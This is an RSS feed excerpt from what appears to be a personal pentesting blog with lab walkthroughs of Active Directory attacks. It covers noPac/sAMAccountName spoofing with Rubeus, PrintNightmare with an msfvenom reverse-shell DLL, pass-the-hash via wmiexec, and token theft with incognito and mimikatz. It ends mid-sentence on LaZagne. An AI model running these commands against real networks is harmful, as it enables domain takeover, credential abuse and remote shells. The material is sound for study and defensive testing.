/nowrap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then either delete the account or rename it back to its original name.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Once the user has been deleted, during the S4U2self process the KDC:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;First looks for the account name without $&lt;/li&gt;&#10;&lt;li&gt;If it cannot find it, automatically tries again with $ appended&lt;/li&gt;&#10;&lt;li&gt;If a domain controller account with the same name exists, grants elevated privileges&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\Powermad.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-MachineAccountAttribute -MachineAccount testuser1 -Value &amp;#34;testuser1$&amp;#34; -Attribute samaccountname -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;You can also perform this step with adsiedit.msc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Request an ST for the domain controller:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Here, base64 is the Base64-encoded TGT obtained above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We successfully obtained the ST. Because we used the /ptt parameter, the ticket has already been injected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The original author also pointed out that we obtained LDAP privileges, so we cannot access shared directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate the ST again:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket:&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="automated-exploitation---nopac"&gt;&lt;a href="#automated-exploitation---nopac" class="header-anchor"&gt;&lt;/a&gt;Automated Exploitation - noPac&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/cube0x0/noPac" target="_blank" rel="noopener"&#10; &gt;https://github.com/cube0x0/noPac&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;You need to compile it yourself, and the domain host also needs a .NET environment. Here is how to use it:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe scan -domain htb.local -user domain_user -pass &amp;#39;Password123!&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -domain htb.local -user domain_user -pass &amp;#39;Password123!&amp;#39; /dc dc02.htb.local /mAccount demo /mPassword Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -domain htb.local -user domain_user -pass &amp;#39;Password123!&amp;#39; /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;ve already compiled it here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter credentials for a domain host to test whether the vulnerability exists&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe scan -domain test.local -user jerry -pass Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a machine account, then change its computer account name to the domain controller&amp;#39;s hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The command-line attempt failed earlier because of insufficient permissions, and the same thing happens here. Impacket&amp;rsquo;s addcomputer.py does work, though.&lt;/p&gt;&#10;&lt;p&gt;There are two other one-click exploitation methods, but I didn&amp;rsquo;t use them. You could get them working with a few changes if needed. The one-click exploits include a command that creates a user, but creating a user fails for me due to insufficient permissions, so these exploits do not work in my environment either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For the remaining steps, refer to the original author:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1922502" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1922502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It mainly covers creating a new domain user after obtaining domain controller administrator privileges, adding that user to Domain Admins, and then taking over the domain controller through the newly created domain account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-privilege-escalation/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="ii-printnightmare-cve-2021-34527"&gt;&lt;a href="#ii-printnightmare-cve-2021-34527" class="header-anchor"&gt;&lt;/a&gt;II. PrintNightmare (CVE-2021-34527)&#10;&lt;/h2&gt;&lt;p&gt;Create a malicious DLL:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/cube0x0/CVE-2021-1675" target="_blank" rel="noopener"&#10; &gt;https://github.com/cube0x0/CVE-2021-1675&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 CVE-2021-1675.py My.local/bob:Pass123@192.168.0.251&amp;#39;\\192.168.0.106\\public\\rev.dll&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This is mainly used for privilege escalation.&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: Troubleshooting Tool Issues</title><link>http://xtpol.com/p/active-directory-tool-troubleshooting/</link><pubDate>Wed, 20 Nov 2024 11:34:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-tool-troubleshooting/</guid><description>&lt;h2 id="1-garbled-output-in-wmiexec"&gt;&lt;a href="#1-garbled-output-in-wmiexec" class="header-anchor"&gt;&lt;/a&gt;1. Garbled Output in wmiexec&#10;&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run this on the target host first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Assume it returns 936&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then run wmiexec with the encoding option&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python wmiexec.py -codec cp936 -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-tool-troubleshooting/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="2-unable-to-install-vmware-tools"&gt;&lt;a href="#2-unable-to-install-vmware-tools" class="header-anchor"&gt;&lt;/a&gt;2. Unable to Install VMware Tools&#10;&lt;/h2&gt;&lt;p&gt;I ran into this while setting up an Active Directory environment. My vulnerable Windows Server 2012 R2 machine wouldn&amp;rsquo;t install VMware Tools, which made transferring files and copying and pasting a real pain. The Chinese tutorials I found online all had problems.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://netwoven.com/cloud-infrastructure-management/windows-server-2012-r2-error-required-kb2919355/" target="_blank" rel="noopener"&#10; &gt;https://netwoven.com/cloud-infrastructure-management/windows-server-2012-r2-error-required-kb2919355/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This article explains what to do. Things will go wrong if you don&amp;rsquo;t follow the steps in order, though there are still a few minor issues. The solution is below.&lt;/p&gt;&#10;&lt;p&gt;What you need to download&lt;/p&gt;&#10;&lt;p&gt;#Windows8.1-KB2919442-x64 is available at this URL; download this one too&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.microsoft.com/en-us/download/details.aspx?id=42162" target="_blank" rel="noopener"&#10; &gt;https://www.microsoft.com/en-us/download/details.aspx?id=42162&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Windows patch download: Windows8.1-KB2919355-x64 is available at &lt;a class="link" href="https://www.microsoft.com/en-us/download/details.aspx?id=42335" target="_blank" rel="noopener"&#10; &gt;https://www.microsoft.com/en-us/download/details.aspx?id=42335&lt;/a&gt;. Download all of the files.&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Run Windows Update and install everything, including optional updates&lt;/li&gt;&#10;&lt;li&gt;Run clearcompressionflag.exe (downloaded with the servicing stack fix). It runs in the background, so wait a minute before installing the fix&lt;/li&gt;&#10;&lt;li&gt;Manually download and install the patches in this order&lt;/li&gt;&#10;&lt;li&gt;Windows8.1-KB2932046-x64&lt;/li&gt;&#10;&lt;li&gt;Windows8.1-KB2934018-x64&lt;/li&gt;&#10;&lt;li&gt;Windows8.1-KB2937592-x64&lt;/li&gt;&#10;&lt;li&gt;Windows8.1-KB2938439-x64&lt;/li&gt;&#10;&lt;li&gt;Windows8.1-KB2959977-x64&lt;/li&gt;&#10;&lt;li&gt;Windows8.1-KB2919442-x64&lt;/li&gt;&#10;&lt;li&gt;Windows8.1-KB2919355-x64&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;Restart whenever prompted after installing them.&lt;/p&gt;&#10;&lt;p&gt;Then install VMware Tools.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://packages.vmware.com/tools/releases/" target="_blank" rel="noopener"&#10; &gt;https://packages.vmware.com/tools/releases/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Pick whichever version you like and download its ISO file, like this one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-tool-troubleshooting/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Add a new CD/DVD drive and mount the ISO. You&amp;rsquo;ll then see a drive like this under Computer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-tool-troubleshooting/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-tool-troubleshooting/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Open it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-tool-troubleshooting/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Run the installer, keep clicking Next, and you&amp;rsquo;re done.&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: Shadow Copies and CVE-2020-1472</title><link>http://xtpol.com/p/active-directory-shadow-copy-and-zerologon/</link><pubDate>Wed, 20 Nov 2024 10:08:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-shadow-copy-and-zerologon/</guid><description>&lt;p&gt;References&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://0range-x.github.io/2021/11/22/CVE-2020-1472" target="_blank" rel="noopener"&#10; &gt;https://0range-x.github.io/2021/11/22/CVE-2020-1472&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1727748" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1727748&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/Captain_RB/article/details/120643838" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/Captain_RB/article/details/120643838&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="1-token-theft"&gt;&lt;a href="#1-token-theft" class="header-anchor"&gt;&lt;/a&gt;1. Token Theft&#10;&lt;/h2&gt;&lt;p&gt;I. What Tokens Do&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;A token is a temporary secret key used by the system. It is equivalent to an account and password, and determines whether a request is allowed and which user made it. It lets you access network and system resources without providing a password or other credentials. These tokens remain on the system until it is restarted.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The defining feature of a token is that it is random and unpredictable, so neither an attacker nor software can guess it. By impersonating a token, you can act as another user on the network and perform various operations. When an attacker needs domain administrator privileges, they therefore need to impersonate a domain administrator&amp;rsquo;s token.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;II. Types of Tokens&lt;/p&gt;&#10;&lt;p&gt;Access Token: a system object representing the subject of an access-control operation.&lt;/p&gt;&#10;&lt;p&gt;Session Token: the unique identity identifier in an interactive session.&lt;/p&gt;&#10;&lt;p&gt;Security Token: also known as an authentication token or hardware token, this is a physical device used to verify identity on a computer, such as a USB security key.&lt;/p&gt;&#10;&lt;p&gt;Windows AccessToken has two types:&lt;/p&gt;&#10;&lt;p&gt;Delegation Token: an authorization token that supports interactive session logons, such as a local user logging on directly or accessing the system through Remote Desktop.&lt;/p&gt;&#10;&lt;p&gt;Impersonation Token: an impersonation token used for non-interactive sessions, such as accessing a shared folder with net use.&lt;/p&gt;&#10;&lt;p&gt;Note: Both types of token are cleared only after a system restart. When a user with a Delegation token logs off, that Token becomes an Impersonation token and remains valid. Another way to think about it is that the system resources a process or thread can access depend on the privileges of its current token.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;At first, I didn&amp;rsquo;t understand why a token was necessary when I already had domain admin privileges. I found this explanation very helpful.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;The privileges we get through an exploit, EternalBlue, or similar methods are System privileges. If mimikatz and hashdump cannot recover the administrator user&amp;rsquo;s password, our only option is to steal a token and step down into the administrator user&amp;rsquo;s context. That gives us the administrator user&amp;rsquo;s shell, from which we can start certain services as that user (some services can only be started by the administrator user).&lt;/p&gt;&#10;&lt;p&gt;The important point is that System is already the highest privilege level, but some services still need to be started by administrator. We need the administrator shell, yet we do not have the password, so we use a token to step down. That is one scenario where this comes in handy.&lt;/p&gt;&#10;&lt;p&gt;You can also assume that the target server probably will not be restarted, since tokens are cleared only on restart.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;I haven&amp;rsquo;t managed to download and find the program online yet, so I&amp;rsquo;ll list the commands first. Other tools can replace it as well.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Method 1: incognito.exe&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Common commands:&lt;/p&gt;&#10;&lt;p&gt;List tokens: &lt;code&gt;incognito.exe list_tokens -u&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because we do not have system privileges here, the listed tokens are very limited. Let&amp;rsquo;s switch to system privileges and take another look.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Steal a token: &lt;code&gt;incognito.exe execute -c &amp;quot;SUN\administrator&amp;quot; cmd.exe&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;incognito.exe execute [options] &amp;lt;token&amp;gt; &amp;lt;command&amp;gt;&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-shadow-copy-and-zerologon/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Method 2&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Its principles and features are similar to incognito, and it can actually elevate or lower privileges.&lt;/p&gt;&#10;&lt;p&gt;List tokens: &lt;code&gt;Invoke-TokenManipulation -Enumerate&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Elevate to system: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -Username &amp;quot;nt authority\system&amp;quot;&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Copy a process token: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -ProcessId 500&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Copy a thread token: &lt;code&gt;Invoke-TokenManipulation -CreateProcess &amp;quot;cmd.exe&amp;quot; -ThreadId 500&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Method 3&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Open a command prompt with SYSTEM privileges to simulate top-down access&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe -s -i cmd.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the current token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Elevate privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate /domainadmin &#9;# Elevate to domain administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate /admin &#9;&#9;&#9;# Elevate to local administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate &#9;&#9;&#9;&#9;&#9;# Elevate to SYSTEM by default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Restore the token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::revert&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Restore the token&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;token::elevate&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="2-lazagneexe"&gt;&lt;a href="#2-lazagneexe" class="header-anchor"&gt;&lt;/a&gt;2. LaZagne.exe&#10;&lt;/h2&gt;&lt;p&gt;This one is incredibly powerful. Unlike most tools, it is not mainly about getting an administrator password; it is more about building a profile of a particular person.&lt;/p&gt;&#10;&lt;p&gt;Types of passwords it can 